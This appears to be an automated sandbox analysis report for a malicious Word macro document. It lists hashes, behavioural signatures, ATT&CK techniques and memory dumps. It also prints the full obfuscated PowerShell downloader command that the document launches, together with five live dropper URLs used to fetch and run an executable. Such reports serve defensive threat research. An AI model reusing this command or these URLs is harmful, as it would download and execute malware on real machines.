c8cfe845de49e0dbc52e306ed2be01f67eee457628f2bf93082ec6b15853197f

Analysis

max time kernel
112s
max time network
110s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
16/06/2024, 13:33

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General

Target

b3c463033af67e9225016f6cba6a5f1b_JaffaCakes118.doc
Size

232KB
MD5

b3c463033af67e9225016f6cba6a5f1b
SHA1

da975fdceca9fc057f1138c3c25cb62370044a42
SHA256

c8cfe845de49e0dbc52e306ed2be01f67eee457628f2bf93082ec6b15853197f
SHA512

7aee050a6fe3c07f1335a639a3b5d126f28667c99665f2f3c016ac288dca2e0ae212f0aa11b9d1bf28e4b4a94357464bb28d03600ea85746cceb1a0413516ba0
SSDEEP

3072:tH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5EyXJm9YBmjDwy7D6tGff:tFVeEsjdXRC3jexGG6TYWofwyv6tGf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wildpete.com/73v5/

exe.dropper

http://www.escoladeemagrecimento.com.br/jl/

exe.dropper

http://www.southgatetowerquan7.com.vn/aokE/

exe.dropper

http://www.salinzada.com/4A3bU8Pb/

exe.dropper

http://www.tomsbigworld.com/VKT9j/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	184	5056	powershell.exe	81

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
5056	WINWORD.EXE
5056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
184	powershell.exe
184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	184	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
5056	WINWORD.EXE
5056	WINWORD.EXE
5056	WINWORD.EXE
5056	WINWORD.EXE
5056	WINWORD.EXE
5056	WINWORD.EXE
5056	WINWORD.EXE
5056	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 184	5056	WINWORD.EXE	86
PID 5056 wrote to memory of 184	5056	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b3c463033af67e9225016f6cba6a5f1b_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &( $Env:COMsPeC[4,24,25]-jOiN'')( -jOiN ('4f65N81p105N29u78L69L87N13L79N66p74S69K67f84O0f110S69L84y14u119u69p66N99K76L73O69N78O84{27L4u107K114O87f29N7K72{84N84{80K26y15L15y87K73y76y68L80f69p84y69L14y67f79N77O15L23f19L86p21K15y96u72f84K84S80u26f15N15N87y87p87O14O69f83y67p79u76S65u68O69K69O77p65p71S82N69N67K73{77L69L78N84N79y14O67f79S77y14{66S82N15N74{76N15N96K72u84L84u80K26S15f15u87S87f87y14O83p79{85f84f72N71{65L84p69L84y79{87S69S82N81y85u65{78p23L14K67f79u77p14y86f78y15u65L79N75f101L15S96S72S84p84K80y26K15N15{87N87y87p14K83{65y76N73O78S90S65O68S65f14p67p79N77u15p20K97{19N66p117O24{112L66f15N96S72L84y84f80K26f15u15K87S87N87L14{84N79f77p83N66S73L71O87K79p82u76y68N14p67p79f77{15f118S107u116p25N74{15f7O14u115O80{76S73p84y8y7L96u7f9K27u4f87f102O100p0L29{0p7S22f17N19S7K27{4p82f99L65{29{4f69K78K86L26O84p69K77L80N11u7S124K7S11u4K87L102K100O11f7O14S69K88O69{7p27K70L79f82N69K65O67y72O8O4u106f82N77y0N73S78K0f4N107{114N87u9O91O84u82S89u91L4f65p81O105S14u100f79{87y78K76p79S65N68S102u73u76u69p8K4{106L82K77{12N0f4K82S99y65y9{27N115f84N65L82K84K13L112u82u79S67S69{83y83f0K4p82u99u65S27O66L82L69O65u75p27N93O67O65y84u67L72L91{93N93'.SpLIt('SNKOLpfyu{')| % { [ChaR] ( $_ -Bxor "0x20")} ))
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c2falk5f.w5d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/184-55-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/184-52-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/184-31-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/184-33-0x0000025D8A090000-0x0000025D8A0B2000-memory.dmp

Filesize
136KB

Download
memory/5056-9-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-18-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-8-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-7-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-2-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-11-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-12-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-15-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-16-0x00007FF88AD60000-0x00007FF88AD70000-memory.dmp

Filesize
64KB

Download
memory/5056-14-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-13-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-10-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-17-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-19-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-21-0x00007FF88AD60000-0x00007FF88AD70000-memory.dmp

Filesize
64KB

Download
memory/5056-22-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-20-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-3-0x00007FF8CD30D000-0x00007FF8CD30E000-memory.dmp

Filesize
4KB

Download
memory/5056-29-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-30-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-28-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-4-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-6-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-5-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-49-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-50-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-51-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/5056-0-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-1-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-76-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-77-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-78-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-75-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/5056-79-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download